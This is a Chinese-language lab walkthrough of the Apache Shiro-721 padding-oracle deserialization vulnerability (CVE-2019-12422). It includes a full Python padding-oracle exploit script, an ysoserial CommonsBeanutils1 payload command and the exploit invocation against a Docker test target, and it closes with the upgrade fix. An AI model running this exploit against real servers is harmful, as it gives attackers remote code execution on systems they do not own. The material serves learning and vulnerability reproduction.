Shiro-721反序列化漏洞

Pasted image 20250508092622

1. 漏洞原理:

由于Apache Shiro cookie中通过 AES-128-CBC 模式加密的rememberMe字段存在问题,用户可通过 Padding Oracle 加密生成的攻击代码来构造恶意的rememberMe字段,并重新请求网站,进行反序列化攻击,最终导致任意代码执行。

影响版本:Apache Shiro < 1.4.2版本。
漏洞编号 CVE-2019-12422

2. Shiro反序列化的特证

  • 返回包中会包含 rememberMe=deleteMe 字段
  • 这种情况大多会发生在登录处,返回包里包含 remeberMe=deleteMe 字段,这个是在返回包中(Response)
    Pasted image 20250507235025
  • 如果返回的数据包中没有 remeberMe=deleteMe 字段的话,可以在数据包中的Cookie中添加remeberMe=deleteMe字段这样也会在返回包中有这个字段

3. 环境搭建:

git clone https://github.com/inspiringz/Shiro-721.git
cd Shiro-721/Docker
docker build -t shiro-721 .
docker run -p 8080:8080 -d shiro-721

4. 漏洞利用

该漏洞需要登录后获取到合法的Cookie: rememberMe=XXX后才可以进行利用,看起来不是很好利用 但实际上有一些网站是开放注册的, 而且这个洞不需要知道服务端密钥 所以后续的利用还是可以同Shiro-550一样利用, 而且这里是AES加密的, 自带过WAF属性

先登录获取cookie,这里必须要点击 RememberMe 才会生成加密后的cookie
Pasted image 20250508005747

然后通过服务器对填充密钥的不同响应,从而判断加密值是否被正确填充,构造Pyload
这里可以用 Pyke-Shiro 工具进行爆破,这里爆破的是预设的一些密钥
Pasted image 20250508010256

或者用脚本进行爆破(耗时较长,通常要一个小时)

# -*- coding: utf-8 -*-
from paddingoracle import BadPaddingException, PaddingOracle
from base64 import b64encode, b64decode
from urllib import quote, unquote
import requests
import socket
import time


class PadBuster(PaddingOracle):
    def __init__(self, **kwargs):
        super(PadBuster, self).__init__(**kwargs)
        self.session = requests.Session()
        # self.session.cookies['JSESSIONID'] = '18fa0f91-625b-4d8b-87db-65cdeff153d0'
        self.wait = kwargs.get('wait', 2.0)

    def oracle(self, data, **kwargs):
        somecookie = b64encode(b64decode(unquote(sys.argv[2])) + data)
        self.session.cookies['rememberMe'] = somecookie
        if self.session.cookies.get('JSESSIONID'):
            del self.session.cookies['JSESSIONID']

        # logging.debug(self.session.cookies)

        while 1:
            try:
                response = self.session.get(sys.argv[1],
                        stream=False, timeout=5, verify=False)
                break
            except (socket.error, requests.exceptions.RequestException):
                logging.exception('Retrying request in %.2f seconds...',
                                  self.wait)
                time.sleep(self.wait)
                continue

        self.history.append(response)

        # logging.debug(response.headers)

        if response.headers.get('Set-Cookie') is None or 'deleteMe' not in response.headers.get('Set-Cookie'):
            logging.debug('No padding exception raised on %r', somecookie)
            return

        # logging.debug("Padding exception")
        raise BadPaddingException


if __name__ == '__main__':
    import logging
    import sys

    if not sys.argv[3:]:
        print 'Usage: %s <url> <somecookie value> <payload>' % (sys.argv[0], )
        sys.exit(1)

    logging.basicConfig(level=logging.DEBUG)
    encrypted_cookie = b64decode(unquote(sys.argv[2]))

    padbuster = PadBuster()

    payload = open(sys.argv[3], 'rb').read()

    enc = padbuster.encrypt(plaintext=payload, block_size=16)

    # cookie = padbuster.decrypt(encrypted_cookie, block_size=8, iv=bytearray(8))

    # print('Decrypted somecookie: %s => %r' % (sys.argv[1], enc))
    print('rememberMe cookies:')
    print(b64encode(enc))

先使用 ysoserial 生成创建/tmp/test的payload,前提是环境中存在可利用的链

java -jar ysoserial.jar CommonsBeanutils1 "touch /tmp/666" > payload.class 

然后使用exp脚本通过 Padding Oracle Attack 生成Rememberme cookie

此EXP生成的payload.class内容时间较长(约一个小时),尽量选择较短的命令执行来复现漏洞。

python2 shiro_exp.py http://192.168.8.10:8080/account/ uyotCl6tZ1RuGVkoxEDkHYxIZZrOKjQAvpzYhLzhz+CHBSRRi7UQaJlbesIMR9Wj6QePTmgtVQHa+xXXxsmWcXTFDJq3G9gef7yW8fSeSBpgrmfEKtttyh473/aCDLfzH8Nq0i+ei9xsoijr77hiUVP6EjFBXAEfh8D3yUX/retywOZfADwJstiI2ayafycmqIDgMgRxOErb9+AJV/F+OXzgzF0UuRSuuyFnQ3dYCqKlNUkBcAZxBv0fB7l3bcrVy/HmW8MRnZvL41oTXh3Q1qWJAA8fzAlOCQdXeA5pkHjGLyF1Qw0JSZr2xgzGZceEvdAYB7XNKJqo9GoH4DL27mMRm4y792Q/c0+UgYZ5RnpZ8wWdbQpCb/Xy8/t4RGc+6qrXzy2UuSIVn+0kT8nEqTIUp5l3XRfLfBiwMjXpPk7QZiEJ2/k/dp2GtiXK6GA9C7KwEJDOWu2pL7GdgBVIiEQmk1MLigv60u120ZE3khzcDMVOLk28qYIhwwzfZIZk payload.class

Pasted image 20250508011528

Pasted image 20250508011911

这里我没爆出来,因为太耗时间了。这是网图

然后将跑出来的Cookie添加到数据包中进行重放数据包,然后就会执行命令touch /tmp/666
Pasted image 20250508011955

5. 修复

升级到 Shiro1.4.2 版本(Shiro1.4.2版本后,Shiro的加密模式由AES-CBC更换为AES-GCM